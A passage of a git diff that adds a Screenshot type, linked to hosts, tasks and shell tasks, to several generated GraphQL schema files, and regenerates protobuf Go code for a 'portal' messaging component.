[ScreenshotWhereInput!] } """ ShellWhereInput is used for filtering Shell objects. @@ -7700,6 +8091,37 @@ type Task implements Node { """ where: ShellWhereInput ): ShellConnection! + screenshots( + """ + Returns the elements in the list that come after the specified cursor. + """ + after: Cursor + + """ + Returns the first _n_ elements from the list. + """ + first: Int + + """ + Returns the elements in the list that come before the specified cursor. + """ + before: Cursor + + """ + Returns the last _n_ elements from the list. + """ + last: Int + + """ + Ordering options for Screenshots returned from the connection. + """ + orderBy: [ScreenshotOrder!] + + """ + Filtering options for Screenshots returned from the connection. + """ + where: ScreenshotWhereInput + ): ScreenshotConnection! } """ A connection to a list of items. @@ -7912,6 +8334,11 @@ input TaskWhereInput { """ hasShells: Boolean hasShellsWith: [ShellWhereInput!] + """ + screenshots edge predicates + """ + hasScreenshots: Boolean + hasScreenshotsWith: [ScreenshotWhereInput!] } type Tome implements Node { id: ID! @@ -8337,6 +8764,9 @@ input UpdateHostInput { addCredentialIDs: [ID!] removeCredentialIDs: [ID!] clearCredentials: Boolean + addScreenshotIDs: [ID!] + removeScreenshotIDs: [ID!] + clearScreenshots: Boolean } """ UpdateLinkInput is used for update Link object. diff --git a/tavern/internal/graphql/schema.graphql b/tavern/internal/graphql/schema.graphql index 22ea22b25..2b89a0b15 100644 --- a/tavern/internal/graphql/schema.graphql +++ b/tavern/internal/graphql/schema.graphql @@ -1507,6 +1507,37 @@ type Host implements Node { """ where: HostCredentialWhereInput ): HostCredentialConnection! + screenshots( + """ + Returns the elements in the list that come after the specified cursor. + """ + after: Cursor + + """ + Returns the first _n_ elements from the list. + """ + first: Int + + """ + Returns the elements in the list that come before the specified cursor. + """ + before: Cursor + + """ + Returns the last _n_ elements from the list. + """ + last: Int + + """ + Ordering options for Screenshots returned from the connection. + """ + orderBy: [ScreenshotOrder!] + + """ + Filtering options for Screenshots returned from the connection. + """ + where: ScreenshotWhereInput + ): ScreenshotConnection! } """ A connection to a list of items. @@ -2506,6 +2537,11 @@ input HostWhereInput { """ hasCredentials: Boolean hasCredentialsWith: [HostCredentialWhereInput!] + """ + screenshots edge predicates + """ + hasScreenshots: Boolean + hasScreenshotsWith: [ScreenshotWhereInput!] } type Link implements Node { id: ID! @@ -2763,7 +2799,7 @@ type Portal implements Node { """ task: Task """ - ShellTask that created the portal + ShellTask that created the portal (if applicable) """ shellTask: ShellTask """ @@ -3416,6 +3452,195 @@ input RepositoryWhereInput { hasOwner: Boolean hasOwnerWith: [UserWhereInput!] } +type Screenshot implements Node { + id: ID! + """ + Timestamp of when this ent was created + """ + createdAt: Time! + """ + Timestamp of when this ent was last updated + """ + lastModifiedAt: Time! + """ + Name of the screenshot file (e.g. screenshot___.png). + """ + name: String! + """ + The size of the screenshot in bytes + """ + size: Uint64! + """ + A SHA3-256 digest of the content field + """ + hash: String + """ + Host the screenshot was taken on. + """ + host: Host! + """ + Task that reported this screenshot. + """ + task: Task + """ + Shell Task that reported this screenshot. + """ + shellTask: ShellTask +} +""" +A connection to a list of items. +""" +type ScreenshotConnection { + """ + A list of edges. + """ + edges: [ScreenshotEdge] + """ + Information to aid in pagination. + """ + pageInfo: PageInfo! + """ + Identifies the total count of items in the connection. + """ + totalCount: Int! +} +""" +An edge in a connection. +""" +type ScreenshotEdge { + """ + The item at the end of the edge. + """ + node: Screenshot + """ + A cursor for use in pagination. + """ + cursor: Cursor! +} +""" +Ordering options for Screenshot connections +""" +input ScreenshotOrder { + """ + The ordering direction. + """ + direction: OrderDirection! = ASC + """ + The field by which to order Screenshots. + """ + field: ScreenshotOrderField! +} +""" +Properties by which Screenshot connections can be ordered. +""" +enum ScreenshotOrderField { + CREATED_AT + LAST_MODIFIED_AT + NAME + SIZE +} +""" +ScreenshotWhereInput is used for filtering Screenshot objects. +Input was generated by ent. +""" +input ScreenshotWhereInput { + not: ScreenshotWhereInput + and: [ScreenshotWhereInput!] + or: [ScreenshotWhereInput!] + """ + id field predicates + """ + id: ID + idNEQ: ID + idIn: [ID!] + idNotIn: [ID!] + idGT: ID + idGTE: ID + idLT: ID + idLTE: ID + """ + created_at field predicates + """ + createdAt: Time + createdAtNEQ: Time + createdAtIn: [Time!] + createdAtNotIn: [Time!] + createdAtGT: Time + createdAtGTE: Time + createdAtLT: Time + createdAtLTE: Time + """ + last_modified_at field predicates + """ + lastModifiedAt: Time + lastModifiedAtNEQ: Time + lastModifiedAtIn: [Time!] + lastModifiedAtNotIn: [Time!] + lastModifiedAtGT: Time + lastModifiedAtGTE: Time + lastModifiedAtLT: Time + lastModifiedAtLTE: Time + """ + name field predicates + """ + name: String + nameNEQ: String + nameIn: [String!] + nameNotIn: [String!] + nameGT: String + nameGTE: String + nameLT: String + nameLTE: String + nameContains: String + nameHasPrefix: String + nameHasSuffix: String + nameEqualFold: String + nameContainsFold: String + """ + size field predicates + """ + size: Uint64 + sizeNEQ: Uint64 + sizeIn: [Uint64!] + sizeNotIn: [Uint64!] + sizeGT: Uint64 + sizeGTE: Uint64 + sizeLT: Uint64 + sizeLTE: Uint64 + """ + hash field predicates + """ + hash: String + hashNEQ: String + hashIn: [String!] + hashNotIn: [String!] + hashGT: String + hashGTE: String + hashLT: String + hashLTE: String + hashContains: String + hashHasPrefix: String + hashHasSuffix: String + hashIsNil: Boolean + hashNotNil: Boolean + hashEqualFold: String + hashContainsFold: String + """ + host edge predicates + """ + hasHost: Boolean + hasHostWith: [HostWhereInput!] + """ + task edge predicates + """ + hasTask: Boolean + hasTaskWith: [TaskWhereInput!] + """ + shell_task edge predicates + """ + hasShellTask: Boolean + hasShellTaskWith: [ShellTaskWhereInput!] +} type Shell implements Node { id: ID! """ @@ -3622,6 +3847,10 @@ type ShellTask implements Node { Processes reported by this shell task """ reportedProcesses: [HostProcess!] + """ + Screenshots reported by this shell task + """ + screenshots: [Screenshot!] } """ A connection to a list of items. @@ -3860,6 +4089,11 @@ input ShellTaskWhereInput { """ hasReportedProcesses: Boolean hasReportedProcessesWith: [HostProcessWhereInput!] + """ + screenshots edge predicates + """ + hasScreenshots: Boolean + hasScreenshotsWith: [ScreenshotWhereInput!] } """ ShellWhereInput is used for filtering Shell objects. @@ -4252,6 +4486,37 @@ type Task implements Node { """ where: ShellWhereInput ): ShellConnection! + screenshots( + """ + Returns the elements in the list that come after the specified cursor. + """ + after: Cursor + + """ + Returns the first _n_ elements from the list. + """ + first: Int + + """ + Returns the elements in the list that come before the specified cursor. + """ + before: Cursor + + """ + Returns the last _n_ elements from the list. + """ + last: Int + + """ + Ordering options for Screenshots returned from the connection. + """ + orderBy: [ScreenshotOrder!] + + """ + Filtering options for Screenshots returned from the connection. + """ + where: ScreenshotWhereInput + ): ScreenshotConnection! } """ A connection to a list of items. @@ -4464,6 +4729,11 @@ input TaskWhereInput { """ hasShells: Boolean hasShellsWith: [ShellWhereInput!] + """ + screenshots edge predicates + """ + hasScreenshots: Boolean + hasScreenshotsWith: [ScreenshotWhereInput!] } type Tome implements Node { id: ID! @@ -4889,6 +5159,9 @@ input UpdateHostInput { addCredentialIDs: [ID!] removeCredentialIDs: [ID!] clearCredentials: Boolean + addScreenshotIDs: [ID!] + removeScreenshotIDs: [ID!] + clearScreenshots: Boolean } """ UpdateLinkInput is used for update Link object. diff --git a/tavern/internal/graphql/schema/ent.graphql b/tavern/internal/graphql/schema/ent.graphql index 2fc2314bf..10a71a92f 100644 --- a/tavern/internal/graphql/schema/ent.graphql +++ b/tavern/internal/graphql/schema/ent.graphql @@ -1502,6 +1502,37 @@ type Host implements Node { """ where: HostCredentialWhereInput ): HostCredentialConnection! + screenshots( + """ + Returns the elements in the list that come after the specified cursor. + """ + after: Cursor + + """ + Returns the first _n_ elements from the list. + """ + first: Int + + """ + Returns the elements in the list that come before the specified cursor. + """ + before: Cursor + + """ + Returns the last _n_ elements from the list. + """ + last: Int + + """ + Ordering options for Screenshots returned from the connection. + """ + orderBy: [ScreenshotOrder!] + + """ + Filtering options for Screenshots returned from the connection. + """ + where: ScreenshotWhereInput + ): ScreenshotConnection! } """ A connection to a list of items. @@ -2501,6 +2532,11 @@ input HostWhereInput { """ hasCredentials: Boolean hasCredentialsWith: [HostCredentialWhereInput!] + """ + screenshots edge predicates + """ + hasScreenshots: Boolean + hasScreenshotsWith: [ScreenshotWhereInput!] } type Link implements Node { id: ID! @@ -2758,7 +2794,7 @@ type Portal implements Node { """ task: Task """ - ShellTask that created the portal + ShellTask that created the portal (if applicable) """ shellTask: ShellTask """ @@ -3411,6 +3447,195 @@ input RepositoryWhereInput { hasOwner: Boolean hasOwnerWith: [UserWhereInput!] } +type Screenshot implements Node { + id: ID! + """ + Timestamp of when this ent was created + """ + createdAt: Time! + """ + Timestamp of when this ent was last updated + """ + lastModifiedAt: Time! + """ + Name of the screenshot file (e.g. screenshot___.png). + """ + name: String! + """ + The size of the screenshot in bytes + """ + size: Uint64! + """ + A SHA3-256 digest of the content field + """ + hash: String + """ + Host the screenshot was taken on. + """ + host: Host! + """ + Task that reported this screenshot. + """ + task: Task + """ + Shell Task that reported this screenshot. + """ + shellTask: ShellTask +} +""" +A connection to a list of items. +""" +type ScreenshotConnection { + """ + A list of edges. + """ + edges: [ScreenshotEdge] + """ + Information to aid in pagination. + """ + pageInfo: PageInfo! + """ + Identifies the total count of items in the connection. + """ + totalCount: Int! +} +""" +An edge in a connection. +""" +type ScreenshotEdge { + """ + The item at the end of the edge. + """ + node: Screenshot + """ + A cursor for use in pagination. + """ + cursor: Cursor! +} +""" +Ordering options for Screenshot connections +""" +input ScreenshotOrder { + """ + The ordering direction. + """ + direction: OrderDirection! = ASC + """ + The field by which to order Screenshots. + """ + field: ScreenshotOrderField! +} +""" +Properties by which Screenshot connections can be ordered. +""" +enum ScreenshotOrderField { + CREATED_AT + LAST_MODIFIED_AT + NAME + SIZE +} +""" +ScreenshotWhereInput is used for filtering Screenshot objects. +Input was generated by ent. +""" +input ScreenshotWhereInput { + not: ScreenshotWhereInput + and: [ScreenshotWhereInput!] + or: [ScreenshotWhereInput!] + """ + id field predicates + """ + id: ID + idNEQ: ID + idIn: [ID!] + idNotIn: [ID!] + idGT: ID + idGTE: ID + idLT: ID + idLTE: ID + """ + created_at field predicates + """ + createdAt: Time + createdAtNEQ: Time + createdAtIn: [Time!] + createdAtNotIn: [Time!] + createdAtGT: Time + createdAtGTE: Time + createdAtLT: Time + createdAtLTE: Time + """ + last_modified_at field predicates + """ + lastModifiedAt: Time + lastModifiedAtNEQ: Time + lastModifiedAtIn: [Time!] + lastModifiedAtNotIn: [Time!] + lastModifiedAtGT: Time + lastModifiedAtGTE: Time + lastModifiedAtLT: Time + lastModifiedAtLTE: Time + """ + name field predicates + """ + name: String + nameNEQ: String + nameIn: [String!] + nameNotIn: [String!] + nameGT: String + nameGTE: String + nameLT: String + nameLTE: String + nameContains: String + nameHasPrefix: String + nameHasSuffix: String + nameEqualFold: String + nameContainsFold: String + """ + size field predicates + """ + size: Uint64 + sizeNEQ: Uint64 + sizeIn: [Uint64!] + sizeNotIn: [Uint64!] + sizeGT: Uint64 + sizeGTE: Uint64 + sizeLT: Uint64 + sizeLTE: Uint64 + """ + hash field predicates + """ + hash: String + hashNEQ: String + hashIn: [String!] + hashNotIn: [String!] + hashGT: String + hashGTE: String + hashLT: String + hashLTE: String + hashContains: String + hashHasPrefix: String + hashHasSuffix: String + hashIsNil: Boolean + hashNotNil: Boolean + hashEqualFold: String + hashContainsFold: String + """ + host edge predicates + """ + hasHost: Boolean + hasHostWith: [HostWhereInput!] + """ + task edge predicates + """ + hasTask: Boolean + hasTaskWith: [TaskWhereInput!] + """ + shell_task edge predicates + """ + hasShellTask: Boolean + hasShellTaskWith: [ShellTaskWhereInput!] +} type Shell implements Node { id: ID! """ @@ -3617,6 +3842,10 @@ type ShellTask implements Node { Processes reported by this shell task """ reportedProcesses: [HostProcess!] + """ + Screenshots reported by this shell task + """ + screenshots: [Screenshot!] } """ A connection to a list of items. @@ -3855,6 +4084,11 @@ input ShellTaskWhereInput { """ hasReportedProcesses: Boolean hasReportedProcessesWith: [HostProcessWhereInput!] + """ + screenshots edge predicates + """ + hasScreenshots: Boolean + hasScreenshotsWith: [ScreenshotWhereInput!] } """ ShellWhereInput is used for filtering Shell objects. @@ -4247,6 +4481,37 @@ type Task implements Node { """ where: ShellWhereInput ): ShellConnection! + screenshots( + """ + Returns the elements in the list that come after the specified cursor. + """ + after: Cursor + + """ + Returns the first _n_ elements from the list. + """ + first: Int + + """ + Returns the elements in the list that come before the specified cursor. + """ + before: Cursor + + """ + Returns the last _n_ elements from the list. + """ + last: Int + + """ + Ordering options for Screenshots returned from the connection. + """ + orderBy: [ScreenshotOrder!] + + """ + Filtering options for Screenshots returned from the connection. + """ + where: ScreenshotWhereInput + ): ScreenshotConnection! } """ A connection to a list of items. @@ -4459,6 +4724,11 @@ input TaskWhereInput { """ hasShells: Boolean hasShellsWith: [ShellWhereInput!] + """ + screenshots edge predicates + """ + hasScreenshots: Boolean + hasScreenshotsWith: [ScreenshotWhereInput!] } type Tome implements Node { id: ID! @@ -4884,6 +5154,9 @@ input UpdateHostInput { addCredentialIDs: [ID!] removeCredentialIDs: [ID!] clearCredentials: Boolean + addScreenshotIDs: [ID!] + removeScreenshotIDs: [ID!] + clearScreenshots: Boolean } """ UpdateLinkInput is used for update Link object. diff --git a/tavern/internal/www/schema.graphql b/tavern/internal/www/schema.graphql index 22ea22b25..2b89a0b15 100644 --- a/tavern/internal/www/schema.graphql +++ b/tavern/internal/www/schema.graphql @@ -1507,6 +1507,37 @@ type Host implements Node { """ where: HostCredentialWhereInput ): HostCredentialConnection! + screenshots( + """ + Returns the elements in the list that come after the specified cursor. + """ + after: Cursor + + """ + Returns the first _n_ elements from the list. + """ + first: Int + + """ + Returns the elements in the list that come before the specified cursor. + """ + before: Cursor + + """ + Returns the last _n_ elements from the list. + """ + last: Int + + """ + Ordering options for Screenshots returned from the connection. + """ + orderBy: [ScreenshotOrder!] + + """ + Filtering options for Screenshots returned from the connection. + """ + where: ScreenshotWhereInput + ): ScreenshotConnection! } """ A connection to a list of items. @@ -2506,6 +2537,11 @@ input HostWhereInput { """ hasCredentials: Boolean hasCredentialsWith: [HostCredentialWhereInput!] + """ + screenshots edge predicates + """ + hasScreenshots: Boolean + hasScreenshotsWith: [ScreenshotWhereInput!] } type Link implements Node { id: ID! @@ -2763,7 +2799,7 @@ type Portal implements Node { """ task: Task """ - ShellTask that created the portal + ShellTask that created the portal (if applicable) """ shellTask: ShellTask """ @@ -3416,6 +3452,195 @@ input RepositoryWhereInput { hasOwner: Boolean hasOwnerWith: [UserWhereInput!] } +type Screenshot implements Node { + id: ID! + """ + Timestamp of when this ent was created + """ + createdAt: Time! + """ + Timestamp of when this ent was last updated + """ + lastModifiedAt: Time! + """ + Name of the screenshot file (e.g. screenshot___.png). + """ + name: String! + """ + The size of the screenshot in bytes + """ + size: Uint64! + """ + A SHA3-256 digest of the content field + """ + hash: String + """ + Host the screenshot was taken on. + """ + host: Host! + """ + Task that reported this screenshot. + """ + task: Task + """ + Shell Task that reported this screenshot. + """ + shellTask: ShellTask +} +""" +A connection to a list of items. +""" +type ScreenshotConnection { + """ + A list of edges. + """ + edges: [ScreenshotEdge] + """ + Information to aid in pagination. + """ + pageInfo: PageInfo! + """ + Identifies the total count of items in the connection. + """ + totalCount: Int! +} +""" +An edge in a connection. +""" +type ScreenshotEdge { + """ + The item at the end of the edge. + """ + node: Screenshot + """ + A cursor for use in pagination. + """ + cursor: Cursor! +} +""" +Ordering options for Screenshot connections +""" +input ScreenshotOrder { + """ + The ordering direction. + """ + direction: OrderDirection! = ASC + """ + The field by which to order Screenshots. + """ + field: ScreenshotOrderField! +} +""" +Properties by which Screenshot connections can be ordered. +""" +enum ScreenshotOrderField { + CREATED_AT + LAST_MODIFIED_AT + NAME + SIZE +} +""" +ScreenshotWhereInput is used for filtering Screenshot objects. +Input was generated by ent. +""" +input ScreenshotWhereInput { + not: ScreenshotWhereInput + and: [ScreenshotWhereInput!] + or: [ScreenshotWhereInput!] + """ + id field predicates + """ + id: ID + idNEQ: ID + idIn: [ID!] + idNotIn: [ID!] + idGT: ID + idGTE: ID + idLT: ID + idLTE: ID + """ + created_at field predicates + """ + createdAt: Time + createdAtNEQ: Time + createdAtIn: [Time!] + createdAtNotIn: [Time!] + createdAtGT: Time + createdAtGTE: Time + createdAtLT: Time + createdAtLTE: Time + """ + last_modified_at field predicates + """ + lastModifiedAt: Time + lastModifiedAtNEQ: Time + lastModifiedAtIn: [Time!] + lastModifiedAtNotIn: [Time!] + lastModifiedAtGT: Time + lastModifiedAtGTE: Time + lastModifiedAtLT: Time + lastModifiedAtLTE: Time + """ + name field predicates + """ + name: String + nameNEQ: String + nameIn: [String!] + nameNotIn: [String!] + nameGT: String + nameGTE: String + nameLT: String + nameLTE: String + nameContains: String + nameHasPrefix: String + nameHasSuffix: String + nameEqualFold: String + nameContainsFold: String + """ + size field predicates + """ + size: Uint64 + sizeNEQ: Uint64 + sizeIn: [Uint64!] + sizeNotIn: [Uint64!] + sizeGT: Uint64 + sizeGTE: Uint64 + sizeLT: Uint64 + sizeLTE: Uint64 + """ + hash field predicates + """ + hash: String + hashNEQ: String + hashIn: [String!] + hashNotIn: [String!] + hashGT: String + hashGTE: String + hashLT: String + hashLTE: String + hashContains: String + hashHasPrefix: String + hashHasSuffix: String + hashIsNil: Boolean + hashNotNil: Boolean + hashEqualFold: String + hashContainsFold: String + """ + host edge predicates + """ + hasHost: Boolean + hasHostWith: [HostWhereInput!] + """ + task edge predicates + """ + hasTask: Boolean + hasTaskWith: [TaskWhereInput!] + """ + shell_task edge predicates + """ + hasShellTask: Boolean + hasShellTaskWith: [ShellTaskWhereInput!] +} type Shell implements Node { id: ID! """ @@ -3622,6 +3847,10 @@ type ShellTask implements Node { Processes reported by this shell task """ reportedProcesses: [HostProcess!] + """ + Screenshots reported by this shell task + """ + screenshots: [Screenshot!] } """ A connection to a list of items. @@ -3860,6 +4089,11 @@ input ShellTaskWhereInput { """ hasReportedProcesses: Boolean hasReportedProcessesWith: [HostProcessWhereInput!] + """ + screenshots edge predicates + """ + hasScreenshots: Boolean + hasScreenshotsWith: [ScreenshotWhereInput!] } """ ShellWhereInput is used for filtering Shell objects. @@ -4252,6 +4486,37 @@ type Task implements Node { """ where: ShellWhereInput ): ShellConnection! + screenshots( + """ + Returns the elements in the list that come after the specified cursor. + """ + after: Cursor + + """ + Returns the first _n_ elements from the list. + """ + first: Int + + """ + Returns the elements in the list that come before the specified cursor. + """ + before: Cursor + + """ + Returns the last _n_ elements from the list. + """ + last: Int + + """ + Ordering options for Screenshots returned from the connection. + """ + orderBy: [ScreenshotOrder!] + + """ + Filtering options for Screenshots returned from the connection. + """ + where: ScreenshotWhereInput + ): ScreenshotConnection! } """ A connection to a list of items. @@ -4464,6 +4729,11 @@ input TaskWhereInput { """ hasShells: Boolean hasShellsWith: [ShellWhereInput!] + """ + screenshots edge predicates + """ + hasScreenshots: Boolean + hasScreenshotsWith: [ScreenshotWhereInput!] } type Tome implements Node { id: ID! @@ -4889,6 +5159,9 @@ input UpdateHostInput { addCredentialIDs: [ID!] removeCredentialIDs: [ID!] clearCredentials: Boolean + addScreenshotIDs: [ID!] + removeScreenshotIDs: [ID!] + clearScreenshots: Boolean } """ UpdateLinkInput is used for update Link object. diff --git a/tavern/portals/portalpb/portal.pb.go b/tavern/portals/portalpb/portal.pb.go index 935db3683..2370614fa 100644 --- a/tavern/portals/portalpb/portal.pb.go +++ b/tavern/portals/portalpb/portal.pb.go @@ -1,6 +1,6 @@ // Code generated by protoc-gen-go. DO NOT EDIT. // versions: -// protoc-gen-go v1.36.5 +// protoc-gen-go v1.32.0 // protoc v3.21.12 // source: portal.proto @@ -11,7 +11,6 @@ import ( protoimpl "google.golang.org/protobuf/runtime/protoimpl" reflect "reflect" sync "sync" - unsafe "unsafe" ) const ( @@ -80,18 +79,21 @@ func (BytesPayloadKind) EnumDescriptor() ([]byte, []int) { } type BytesPayload struct { - state protoimpl.MessageState `protogen:"open.v1"` - Data []byte `protobuf:"bytes,1,opt,name=data,proto3" json:"data,omitempty"` - Kind BytesPayloadKind `protobuf:"varint,2,opt,name=kind,proto3,enum=portal.BytesPayloadKind" json:"kind,omitempty"` - unknownFields protoimpl.UnknownFields + state protoimpl.MessageState sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Data []byte `protobuf:"bytes,1,opt,name=data,proto3" json:"data,omitempty"` + Kind BytesPayloadKind `protobuf:"varint,2,opt,name=kind,proto3,enum=portal.BytesPayloadKind" json:"kind,omitempty"` } func (x *BytesPayload) Reset() { *x = BytesPayload{} - mi := &file_portal_proto_msgTypes[0] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) + if protoimpl.UnsafeEnabled { + mi := &file_portal_proto_msgTypes[0] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } } func (x *BytesPayload) String() string { @@ -102,7 +104,7 @@ func (*BytesPayload) ProtoMessage() {} func (x *BytesPayload) ProtoReflect() protoreflect.Message { mi := &file_portal_proto_msgTypes[0] - if x != nil { + if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) @@ -132,19 +134,22 @@ func (x *BytesPayload) GetKind() BytesPayloadKind { } type TCPPayload struct { - state protoimpl.MessageState `protogen:"open.v1"` - Data []byte `protobuf:"bytes,1,opt,name=data,proto3" json:"data,omitempty"` - DstAddr string `protobuf:"bytes,2,opt,name=dst_addr,json=dstAddr,proto3" json:"dst_addr,omitempty"` - DstPort uint32 `protobuf:"varint,3,opt,name=dst_port,json=dstPort,proto3" json:"dst_port,omitempty"` - unknownFields protoimpl.UnknownFields + state protoimpl.MessageState sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Data []byte `protobuf:"bytes,1,opt,name=data,proto3" json:"data,omitempty"` + DstAddr string `protobuf:"bytes,2,opt,name=dst_addr,json=dstAddr,proto3" json:"dst_addr,omitempty"` + DstPort uint32 `protobuf:"varint,3,opt,name=dst_port,json=dstPort,proto3" json:"dst_port,omitempty"` } func (x *TCPPayload) Reset() { *x = TCPPayload{} - mi := &file_portal_proto_msgTypes[1] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) + if protoimpl.UnsafeEnabled { + mi := &file_portal_proto_msgTypes[1] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } } func (x *TCPPayload) String() string { @@ -155,7 +160,7 @@ func (*TCPPayload) ProtoMessage() {} func (x *TCPPayload) ProtoReflect() protoreflect.Message { mi := &file_portal_proto_msgTypes[1] - if x != nil { + if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) @@ -192,19 +197,22 @@ func (x *TCPPayload) GetDstPort() uint32 { } type UDPPayload struct { - state protoimpl.MessageState `protogen:"open.v1"` - Data []byte `protobuf:"bytes,1,opt,name=data,proto3" json:"data,omitempty"` - DstAddr string `protobuf:"bytes,2,opt,name=dst_addr,json=dstAddr,proto3" json:"dst_addr,omitempty"` - DstPort uint32 `protobuf:"varint,3,opt,name=dst_port,json=dstPort,proto3" json:"dst_port,omitempty"` - unknownFields protoimpl.UnknownFields + state protoimpl.MessageState sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Data []byte `protobuf:"bytes,1,opt,name=data,proto3" json:"data,omitempty"` + DstAddr string `protobuf:"bytes,2,opt,name=dst_addr,json=dstAddr,proto3" json:"dst_addr,omitempty"` + DstPort uint32 `protobuf:"varint,3,opt,name=dst_port,json=dstPort,proto3" json:"dst_port,omitempty"` } func (x *UDPPayload) Reset() { *x = UDPPayload{} - mi := &file_portal_proto_msgTypes[2] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) + if protoimpl.UnsafeEnabled { + mi := &file_portal_proto_msgTypes[2] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } } func (x *UDPPayload) String() string { @@ -215,7 +223,7 @@ func (*UDPPayload) ProtoMessage() {} func (x *UDPPayload) ProtoReflect() protoreflect.Message { mi := &file_portal_proto_msgTypes[2] - if x != nil { + if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) @@ -252,18 +260,21 @@ func (x *UDPPayload) GetDstPort() uint32 { } type ShellPayload struct { - state protoimpl.MessageState `protogen:"open.v1"` - Input string `protobuf:"bytes,1,opt,name=input,proto3" json:"input,omitempty"` - ShellId int64 `protobuf:"varint,2,opt,name=shell_id,json=shellId,proto3" json:"shell_id,omitempty"` - unknownFields protoimpl.UnknownFields + state protoimpl.MessageState sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Input string `protobuf:"bytes,1,opt,name=input,proto3" json:"input,omitempty"` + ShellId int64 `protobuf:"varint,2,opt,name=shell_id,json=shellId,proto3" json:"shell_id,omitempty"` } func (x *ShellPayload) Reset() { *x = ShellPayload{} - mi := &file_portal_proto_msgTypes[3] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) + if protoimpl.UnsafeEnabled { + mi := &file_portal_proto_msgTypes[3] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } } func (x *ShellPayload) String() string { @@ -274,7 +285,7 @@ func (*ShellPayload) ProtoMessage() {} func (x *ShellPayload) ProtoReflect() protoreflect.Message { mi := &file_portal_proto_msgTypes[3] - if x != nil { + if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) @@ -304,29 +315,32 @@ func (x *ShellPayload) GetShellId() int64 { } type Mote struct { - state protoimpl.MessageState `protogen:"open.v1"` + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + // Unique identifier used to route reply traffic back to original port StreamId string `protobuf:"bytes,1,opt,name=stream_id,json=streamId,proto3" json:"stream_id,omitempty"` // Ordered number for clients to reassemble an ordered stream SeqId uint64 `protobuf:"varint,2,opt,name=seq_id,json=seqId,proto3" json:"seq_id,omitempty"` // A payload // - // Types that are valid to be assigned to Payload: + // Types that are assignable to Payload: // // *Mote_Udp // *Mote_Tcp // *Mote_Bytes // *Mote_Shell - Payload isMote_Payload `protobuf_oneof:"payload"` - unknownFields protoimpl.UnknownFields - sizeCache protoimpl.SizeCache + Payload isMote_Payload `protobuf_oneof:"payload"` } func (x *Mote) Reset() { *x = Mote{} - mi := &file_portal_proto_msgTypes[4] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) + if protoimpl.UnsafeEnabled { + mi := &file_portal_proto_msgTypes[4] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } } func (x *Mote) String() string { @@ -337,7 +351,7 @@ func (*Mote) ProtoMessage() {} func (x *Mote) ProtoReflect() protoreflect.Message { mi := &file_portal_proto_msgTypes[4] - if x != nil { + if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) @@ -366,45 +380,37 @@ func (x *Mote) GetSeqId() uint64 { return 0 } -func (x *Mote) GetPayload() isMote_Payload { - if x != nil { - return x.Payload +func (m *Mote) GetPayload() isMote_Payload { + if m != nil { + return m.Payload } return nil } func (x *Mote) GetUdp() *UDPPayload { - if x != nil { - if x, ok := x.Payload.(*Mote_Udp); ok { - return x.Udp - } + if x, ok := x.GetPayload().(*Mote_Udp); ok { + return x.Udp } return nil } func (x *Mote) GetTcp() *TCPPayload { - if x != nil { - if x, ok := x.Payload.(*Mote_Tcp); ok { - return x.Tcp - } + if x, ok := x.GetPayload().(*Mote_Tcp); ok { + return x.Tcp } return nil } func (x *Mote) GetBytes() *BytesPayload { - if x != nil { - if x, ok := x.Payload.(*Mote_Bytes); ok { - return x.Bytes - } + if x, ok := x.GetPayload().(*Mote_Bytes); ok { + return x.Bytes } return nil } func (x *Mote) GetShell() *ShellPayload { - if x != nil { - if x, ok := x.Payload.(*Mote_Shell); ok { - return x.Shell - } + if x, ok := x.GetPayload().(*Mote_Shell); ok { + return x.Shell } return nil } @@ -438,18 +444,21 @@ func (*Mote_Bytes) isMote_Payload() {} func (*Mote_Shell) isMote_Payload() {} type OpenPortalRequest struct { - state protoimpl.MessageState `protogen:"open.v1"` - PortalId int64 `protobuf:"varint,1,opt,name=portal_id,json=portalId,proto3" json:"portal_id,omitempty"` - Mote *Mote `protobuf:"bytes,2,opt,name=mote,proto3" json:"mote,omitempty"` - unknownFields protoimpl.UnknownFields + state protoimpl.MessageState sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + PortalId int64 `protobuf:"varint,1,opt,name=portal_id,json=portalId,proto3" json:"portal_id,omitempty"` + Mote *Mote `protobuf:"bytes,2,opt,name=mote,proto3" json:"mote,omitempty"` } func (x *OpenPortalRequest) Reset() { *x = OpenPortalRequest{} - mi := &file_portal_proto_msgTypes[5] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) + if protoimpl.UnsafeEnabled 